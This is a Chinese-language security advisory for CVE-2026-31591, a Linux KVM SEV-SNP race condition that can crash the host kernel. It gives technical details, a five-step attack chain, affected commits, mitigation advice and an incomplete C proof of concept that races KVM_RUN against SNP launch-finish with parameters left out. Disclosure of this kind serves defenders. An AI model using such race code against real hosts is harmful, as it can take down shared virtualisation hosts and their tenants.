IPBUF安全漏洞报告
English
CVE-2026-31591 CVSS 5.5 中危

CVE-2026-31591 Linux内核KVM SEV拒绝服务漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31591
漏洞类型
竞态条件
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelKVMSEVRace ConditionDoSSNP本地漏洞

漏洞概述

Linux内核KVM模块中的SEV(安全加密虚拟化)功能存在一个安全漏洞。该漏洞发生在为SNP(安全嵌套分页)客户机同步和加密VMSA(虚拟机保存区域)的过程中。由于在同步状态时未锁定所有vCPU,允许用户空间在同步期间操作或运行vCPU。这会导致vCPU状态损坏,严重时可能导致宿主机内核崩溃,造成拒绝服务攻击。

技术细节

该漏洞源于Linux内核KVM子系统中SEV(安全加密虚拟化)机制的实现缺陷。具体而言,当KVM处理AMD SNP(安全嵌套分页)客户机的启动完成流程时,需要同步和加密所有vCPU的VMSA(虚拟机保存区域)状态。然而,在此关键操作期间,内核未能正确锁定所有涉及的vCPU。由于缺少必要的互斥锁,攻击者或恶意的用户空间进程可以在内核同步VMSA状态的同时,通过ioctl系统调用操纵或运行受影响的vCPU。这种并发操作引发了竞态条件。竞态可能导致正在同步的vCPU状态数据被破坏,或者在极端情况下触发内核空指针解引用或内存访问错误,从而导致宿主机内核崩溃。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限用户访问权限。
STEP 2
步骤2
攻击者确认宿主机启用了KVM并且支持AMD SEV-SNP功能。
STEP 3
步骤3
攻击者创建或控制一个虚拟机,并准备触发SNP Launch Finish操作。
STEP 4
步骤4
在内核尝试同步VMSA状态时,攻击者通过用户空间并发操作vCPU(如KVM_RUN)。
STEP 5
步骤5
触发竞态条件,导致宿主机内核崩溃或vCPU状态损坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * Conceptual PoC for CVE-2026-31591 * This code attempts to trigger a race condition in KVM SEV-SNP VMSA synchronization. * It requires a host with AMD SEV-SNP support and access to /dev/kvm. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/kvm.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #define KVM_DEV "/dev/kvm" // Thread 1: Continuously run vCPU to disturb state void* vcpu_run_thread(void* arg) { int vcpu_fd = *(int*)arg; while (1) { ioctl(vcpu_fd, KVM_RUN, NULL); } return NULL; } // Thread 2: Trigger SNP Launch Finish (VMSA sync) void* snp_launch_finish_thread(void* arg) { int vm_fd = *(int*)arg; struct kvm_sev_cmd cmd = { .id = KVM_SEV_SNP_LAUNCH_FINISH, // ... additional params required for SNP ... }; // This ioctl path attempts to sync VMSAs without locking all vCPUs properly in vulnerable versions ioctl(vm_fd, KVM_MEMORY_ENCRYPT_OP, &cmd); return NULL; } int main() { int kvm_fd = open(KVM_DEV, O_RDWR); if (kvm_fd < 0) { perror("Failed to open /dev/kvm"); return 1; } int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, (unsigned long)0); if (vm_fd < 0) return 1; int vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, (unsigned long)0); if (vcpu_fd < 0) return 1; pthread_t t1, t2; // Create threads to race against each other pthread_create(&t1, NULL, vcpu_run_thread, &vcpu_fd); pthread_create(&t2, NULL, snp_launch_finish_thread, &vm_fd); pthread_join(t1, NULL); pthread_join(t2, NULL); close(vcpu_fd); close(vm_fd); close(kvm_fd); return 0; }

影响范围

Linux Kernel < commit 30fd9d8c82087742168db779929d8be0459b0716
Linux Kernel < commit 4df77742e8b9a6b935bdf46f02fd0aca4d4ee7f5
Linux Kernel < commit c87938fc7d99a06a7e5477c45b4e5a4148f85d66
Linux Kernel < commit cb923ee6a80f4e604e6242a4702b59251e61a380

防御指南

临时缓解措施
建议尽快应用Linux内核官方提供的补丁。如果无法立即升级,应严格限制对/dev/kvm设备的访问权限,仅允许受信任的用户或虚拟化管理程序(如Libvirt)访问,从而降低被本地低权限用户利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表